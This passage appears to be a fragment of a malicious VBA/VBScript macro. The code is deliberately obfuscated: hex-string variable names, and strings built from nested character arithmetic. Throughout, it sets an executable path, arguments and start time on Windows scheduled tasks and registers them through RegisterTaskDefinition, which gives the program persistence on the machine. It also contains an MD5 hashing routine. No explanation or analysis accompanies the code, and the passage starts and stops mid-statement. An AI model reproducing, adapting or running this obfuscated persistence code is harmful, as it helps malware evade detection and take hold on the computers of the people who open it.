Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1))))) - 1) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)))) - 1) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)))) - 1), Chr(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 9, 1)) + 1) & Chr((CInt(StrReverse(Str(Asc(UCase(Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 10, 1))) - 2))))), Chr((CInt(StrReverse(Str(Asc(UCase(Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 10, 1))) - 2)))))): Call b211ac18ab97681a0e50bd1aa4a00916.RegisterTaskDefinition(bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - _
Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, (Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)))), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1))), c211ac1aab97681a0e50bd1ba4a0f916, Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1, , , (Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1) / (Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)))): aa51ff1aeb9788740e5cbd28a3adf916 = Year(f251fc1aeb9788140e5cbd28a4adf916) & Chr(Asc(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Format(Month(f251fc1aeb9788140e5cbd28a4adf916), Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & _
Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1))))) & Chr(Asc(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Format(Day(f251fc1aeb9788140e5cbd28a4adf916), Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1))))) & UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 10, 1)) + 1)) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1)))) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2)) + _
CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Mid(fff1a755ab7f7f89adf85eab4a800915, 17, 1) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))) & Mid(fff1a755ab7f7f89adf85eab4a800915, 15, 1) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))): e211fc1aeb9768140e5cbd18a4adf916.StartBoundary = aa51ff1aeb9788740e5cbd28a3adf916: bb51ff1aebd788740e7cbd28a3ad9917.Arguments = bbf1a755ab7f7f89adf95e1ad2fe4a800915(Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, 2) & fff1a81b44d744140501ad28a0a0991b & _
bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(Left(Replace(fff1a755ab7f7f89adf85eab4a800915, Left(fff1a755ab7f7f89adf85eab4a800915, 16), ""), 2)) - Asc(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915) - 2), 1))) + b211ac55ab7f689adf50ad1aa4a800916, CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - CInt(Replace(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 11), 3), Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 1), "")), 2) & bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 2, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 9, 1) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1):
Call b211ac18ab97681a0e50bd1aa4a00916.RegisterTaskDefinition(bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)))) - Asc(Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 3), c211ac1aab97681a0e50bd1ba4a0f916, Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1, , , (Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1) / (CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)))) - Asc(Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))):
Else
bb51ff1aebd788740e7cbd28a3ad9917.Path = bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(Trim(Str(b211ac55ab7f689adf50ad1aa4a800916)) & Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1)) - 1, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4): bb51ff1aebd788740e7cbd28a3ad9917.Arguments = Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1) & StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 2)) & Chr(Asc(Trim(Str(CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 15, 1)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))) * 2) & Mid(fff1a755ab7f7f89adf85eab4a800915, 8, 1) & Chr(Asc(Right(Left(fff1a755ab7f7f89adf85eab4a800915, 14), 1)) - 3) & Chr(Str(Replace(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 3), Mid(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 3), 2, 1), ""))) & bbf1a755ab7f7f89adf95e1ad2fe4a800915(b211ac55ab7f689adf50ad1aa4a800916, CInt(Left(Replace(fff1a755ab7f7f89adf85eab4a800915, _
Left(fff1a755ab7f7f89adf85eab4a800915, 16), ""), 2)) - Asc(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915) - 2), 1))), a211ac15ab97681ade50bd1aa4a00912) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1): Call b211ac18ab97681a0e50bd1aa4a00916.RegisterTaskDefinition(bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1))), c211ac1aab97681a0e50bd1ba4a0f916, Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1, , , (Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1) / (CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)))) - Asc(Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))):
aa51ff1aeb9788740e5cbd28a3adf916 = Year(f251fc1aeb9788140e5cbd28a4adf916) & Chr(Asc(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Format(Month(f251fc1aeb9788140e5cbd28a4adf916), Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1))))) & Chr(Asc(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Format(Day(f251fc1aeb9788140e5cbd28a4adf916), Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1))))) & UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 10, 1)) + 1)) & _
Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1)))) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Mid(fff1a755ab7f7f89adf85eab4a800915, 17, 1) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))) & Mid(fff1a755ab7f7f89adf85eab4a800915, 15, 1) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))): e211fc1aeb9768140e5cbd18a4adf916.StartBoundary = aa51ff1aeb9788740e5cbd28a3adf916: bb51ff1aebd788740e7cbd28a3ad9917.Arguments = Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1) & _
StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 2)) & Chr(Asc(Trim(Str(CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 15, 1)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))) * 2) & Mid(fff1a755ab7f7f89adf85eab4a800915, 8, 1) & Chr(Asc(Right(Left(fff1a755ab7f7f89adf85eab4a800915, 14), 1)) - 3) & Chr(Str(Replace(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 3), Mid(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 3), 2, 1), ""))) & bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 2, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 9, 1) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1): Call b211ac18ab97681a0e50bd1aa4a00916.RegisterTaskDefinition(bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)))) - _
Asc(Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 3), c211ac1aab97681a0e50bd1ba4a0f916, Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1, , , (Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1) / (CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)))) - Asc(Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): End If: GoTo ddd1641463d78214f9010ff8a0a0991b:
bbb9681439d74414f5017f28a0a0991b: For b211ac55ab7f689adf50ad1aa4a847916 = 1 To 9 Step 2: fff1a755ab7f7f89adf85eab4a800915 = fff1a755ab7f7f89adf85eab4a800915 & Chr(Asc(Space(1)) + 16 + b211ac55ab7f689adf50ad1aa4a847916): Next: For b211ac55ab7f689adf50ad1aa4a847916 = 1 To 5 Step 2: fff1a755ab7f7f89adf85eab4a800915 = fff1a755ab7f7f89adf85eab4a800915 & Chr(Asc(Space(1)) + b211ac55ab7f689adf50ad1aa4a847916): Next: fff1a755ab7f7f89adf85eab4a800915 = fff1a755ab7f7f89adf85eab4a800915 & "&(+": Resume ccc8601433d74214f5013f28a0a0991b
ddd1641463d78214f9010ff8a0a0991b: End If:
ElseIf b211ac55ab7f689adf50ad1aa4a800916 = d211af55ab7f7689adf950ad2ab4a800916 Xor d211af55ab7f7689adf950ad2ab4a800916 And d211af55ab7f7689adf950ad2ab4a800916 = b211ac55ab7f689adf50ad1aa4a800916 Then
b211ac55ab7f689adf50ad1aa4a843916 = 0: For b211ac55ab7f689adf50ad1aa4a801916 = 0 To 30: b211ac55ab7f689adf50ad1aa4a843916 = b211ac55ab7f689adf50ad1aa4a843916 + 2 ^ b211ac55ab7f689adf50ad1aa4a801916: b211ac55ab7f689adf50ad1aa4a802916(b211ac55ab7f689adf50ad1aa4a801916) = CLng(b211ac55ab7f689adf50ad1aa4a843916): b211ac55ab7f689adf50ad1aa4a803916(b211ac55ab7f689adf50ad1aa4a801916) = CLng(2 ^ b211ac55ab7f689adf50ad1aa4a801916): Next: Dim b211ac55ab7f689adf50ad1aa4a818916: Dim b211ac55ab7f689adf50ad1aa4a838916: Dim b211ac55ab7f689adf50ad1aa4a836916: Dim b211ac55ab7f689adf50ad1aa4a837916: Dim b211ac55ab7f689adf50ad1aa4a835916: Dim b211ac55ab7f689adf50ad1aa4a839916: Dim b211ac55ab7f689adf50ad1aa4a814916: Dim b211ac55ab7f689adf50ad1aa4a815916: Dim b211ac55ab7f689adf50ad1aa4a816916: Dim b211ac55ab7f689adf50ad1aa4a817916: Const b211ac55ab7f689adf50ad1aa4a840916 = 7: Const b211ac55ab7f689adf50ad1aa4a850916 = b211ac55ab7f689adf50ad1aa4a840916 + 5:
Const b211ac55ab7f689adf50ad1aa4a860916 = b211ac55ab7f689adf50ad1aa4a850916 + b211ac55ab7f689adf50ad1aa4a840916 - 2: Const b211ac55ab7f689adf50ad1aa4a870916 = b211ac55ab7f689adf50ad1aa4a860916 + b211ac55ab7f689adf50ad1aa4a840916 - 2: Const b211ac55ab7f689adf50ad1aa4a880916 = b211ac55ab7f689adf50ad1aa4a860916 - b211ac55ab7f689adf50ad1aa4a850916: Const b211ac55ab7f689adf50ad1aa4a890916 = b211ac55ab7f689adf50ad1aa4a850916 + b211ac55ab7f689adf50ad1aa4a840916 - b211ac55ab7f689adf50ad1aa4a880916 - b211ac55ab7f689adf50ad1aa4a880916: Const b211ac55ab7f689adf50ad1aa4a841916 = b211ac55ab7f689adf50ad1aa4a880916 + b211ac55ab7f689adf50ad1aa4a890916: Const b211ac55ab7f689adf50ad1aa4a851916 = b211ac55ab7f689adf50ad1aa4a870916 - b211ac55ab7f689adf50ad1aa4a840916 + b211ac55ab7f689adf50ad1aa4a880916: Const b211ac55ab7f689adf50ad1aa4a861916 = b211ac55ab7f689adf50ad1aa4a841916 - b211ac55ab7f689adf50ad1aa4a850916 + b211ac55ab7f689adf50ad1aa4a870916 - b211ac55ab7f689adf50ad1aa4a851916:
Const b211ac55ab7f689adf50ad1aa4a871916 = b211ac55ab7f689adf50ad1aa4a861916 + b211ac55ab7f689adf50ad1aa4a840916: Const b211ac55ab7f689adf50ad1aa4a881916 = b211ac55ab7f689adf50ad1aa4a880916 + b211ac55ab7f689adf50ad1aa4a871916: Const b211ac55ab7f689adf50ad1aa4a891916 = b211ac55ab7f689adf50ad1aa4a840916 + b211ac55ab7f689adf50ad1aa4a850916 + b211ac55ab7f689adf50ad1aa4a861916: Const b211ac55ab7f689adf50ad1aa4a842916 = b211ac55ab7f689adf50ad1aa4a891916 - b211ac55ab7f689adf50ad1aa4a860916: Const b211ac55ab7f689adf50ad1aa4a852916 = b211ac55ab7f689adf50ad1aa4a861916 + b211ac55ab7f689adf50ad1aa4a842916: Const b211ac55ab7f689adf50ad1aa4a862916 = b211ac55ab7f689adf50ad1aa4a880916 + b211ac55ab7f689adf50ad1aa4a852916: Const b211ac55ab7f689adf50ad1aa4a872916 = b211ac55ab7f689adf50ad1aa4a842916 + b211ac55ab7f689adf50ad1aa4a862916: b211ac55ab7f689adf50ad1aa4a818916 = b211ac55ab7f689adf50ad1aa4a821916(a211ac15ab97681ade50bd1aa4a00912): b211ac55ab7f689adf50ad1aa4a814916 = &H67452301:
b211ac55ab7f689adf50ad1aa4a815916 = &HEFCDAB89: b211ac55ab7f689adf50ad1aa4a816916 = &H98BADCFE: b211ac55ab7f689adf50ad1aa4a817916 = &H10325476: For b211ac55ab7f689adf50ad1aa4a838916 = 0 To UBound(b211ac55ab7f689adf50ad1aa4a818916) Step 16: b211ac55ab7f689adf50ad1aa4a836916 = b211ac55ab7f689adf50ad1aa4a814916: b211ac55ab7f689adf50ad1aa4a837916 = b211ac55ab7f689adf50ad1aa4a815916: b211ac55ab7f689adf50ad1aa4a835916 = b211ac55ab7f689adf50ad1aa4a816916: b211ac55ab7f689adf50ad1aa4a839916 = b211ac55ab7f689adf50ad1aa4a817916: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 0), b211ac55ab7f689adf50ad1aa4a840916, &HD76AA478:
b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 1), b211ac55ab7f689adf50ad1aa4a850916, &HE8C7B756: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 2), b211ac55ab7f689adf50ad1aa4a860916, &H242070DB: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 3), b211ac55ab7f689adf50ad1aa4a870916, &HC1BDCEEE:
b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 4), b211ac55ab7f689adf50ad1aa4a840916, &HF57C0FAF: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 5), b211ac55ab7f689adf50ad1aa4a850916, &H4787C62A: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 6), b211ac55ab7f689adf50ad1aa4a860916, &HA8304613:
b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 7), b211ac55ab7f689adf50ad1aa4a870916, &HFD469501: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 8), b211ac55ab7f689adf50ad1aa4a840916, &H698098D8: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 9), b211ac55ab7f689adf50ad1aa4a850916, &H8B44F7AF:
b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 10), b211ac55ab7f689adf50ad1aa4a860916, &HFFFF5BB1: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 11), b211ac55ab7f689adf50ad1aa4a870916, &H895CD7BE: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 12), b211ac55ab7f689adf50ad1aa4a840916, &H6B901122:
b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 13), b211ac55ab7f689adf50ad1aa4a850916, &HFD987193: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 14), b211ac55ab7f689adf50ad1aa4a860916, &HA679438E: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 15), b211ac55ab7f689adf50ad1aa4a870916, &H49B40821:
b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 1), b211ac55ab7f689adf50ad1aa4a880916, &HF61E2562: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 6), b211ac55ab7f689adf50ad1aa4a890916, &HC040B340: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 11), b211ac55ab7f689adf50ad1aa4a841916, &H265E5A51:
b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 0), b211ac55ab7f689adf50ad1aa4a851916, &HE9B6C7AA: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 5), b211ac55ab7f689adf50ad1aa4a880916, &HD62F105D: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 10), b211ac55ab7f689adf50ad1aa4a890916, &H2441453:
